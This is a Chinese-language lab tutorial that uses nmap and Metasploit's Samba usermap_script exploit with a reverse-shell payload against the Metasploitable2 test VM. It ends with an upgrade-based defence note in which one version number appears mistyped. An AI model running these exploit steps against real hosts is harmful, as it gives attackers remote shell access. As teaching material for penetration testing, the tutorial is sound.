漏洞利用
每个操作系统都会存在各种bug,像windows这样版权操作系统微软公司会很快的开发针对这些bug或漏洞的补丁,并为用户提供更新。没有公布补丁的bug,就是所谓的0day漏洞,由于这种漏洞对网络安全具有巨大威胁,因此0day漏洞也称为黑客的最爱,实际上能够掌握0day漏洞的黑客少之又少。
下面就假设目标机是Metasploitable2,对Linux机器进行渗透测试。Metasploitable2虚拟系统是一个特别制作的Ubuntu操作系统主要用于安全工具测试和演示常见的漏洞攻击。该虚拟机兼容VMWare、VirtualBox和其他虚拟平台。
首先对Linux目标机器进行扫描,收集可用的服务信息。使用nmap扫描并查看系统开放端口和相关的应用程序。
nmap -sV 192.168.1.18
收集到目标机相关信息后,为其选择正确的exploit和合适的payload。从扫描结果发现主机运行着Samba3.x服务。
Samba是在Linux和Unix系统上实现SMB(Server Message Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用Linux和windows系统的机器之间提供文件和打印机等资源的共享服务。
输入search samba命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块
在这里我们使用exploit/multi/samba/usermap_script模块
输入命令使用该模块
use exploit/multi/samba/usermap_script
输入show payloads命令可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标机是Linux机器,因此一定要选Linux的攻击载荷。
在这里使用cmd/unix/reverse 反向攻击载荷模块。
输入set payload cmd/unix/reverse利用模块
查看需要设置的参数show options
设置被攻击主机IP地址
set rhosts 192.168.1.18
设置漏洞利用的端口号
set rport 445
设置发动攻击主机IP地址
set lhost 192.168.1.20
查看参数是否设置正确
show options
输入攻击命令exploit或者run发动攻击
MSF发动攻击成功后会获取目标主机的shell,为了验证shell是目标主机的,可以查询主机名,用户名和ip地址,并与目标主机进行对比
攻击成功后,可以看到在攻击机和目标机之间会建立一个shell连接,渗透windows系统的过程类似,唯一的区别是选择的漏洞利用模块和攻击载荷模块不一样
防御方法:Samba服务漏洞发生在Samba版本3.0.20~3.0.252rc3中。当使用非默认的用户名映射脚本配置时,通过指定一个用户名包括shell元字符,攻击者可以执行任意命令,将Samba升级到最新版本,即可防御本漏洞。